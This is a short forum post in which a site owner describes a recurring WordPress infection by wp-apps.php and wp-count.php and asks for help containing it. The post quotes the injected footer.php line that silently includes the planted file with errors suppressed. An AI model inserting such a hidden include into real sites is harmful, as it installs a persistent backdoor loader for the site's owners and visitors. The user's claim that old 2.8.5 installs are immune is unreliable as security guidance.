surfintica on "wp-apps.php hack"

My server has been infected by these files

wp-apps.php
wp-count.php

Our host said to update all plugins and Wordpress core files but even after that it is still returning to the sites root install

Once it is there, it changes the Themes folder footer.php file and adds

<?php error_reporting(0);include_once $_SERVER['DOCUMENT_ROOT'].'/wp-apps.php';?>

This actually occurs on the WP installs that are most current. I have a 2.8.5 installs for many sites and not one of them get infected like the 3.4.1 and 3.4.2 versions

Anyone have any idea of how to contain this?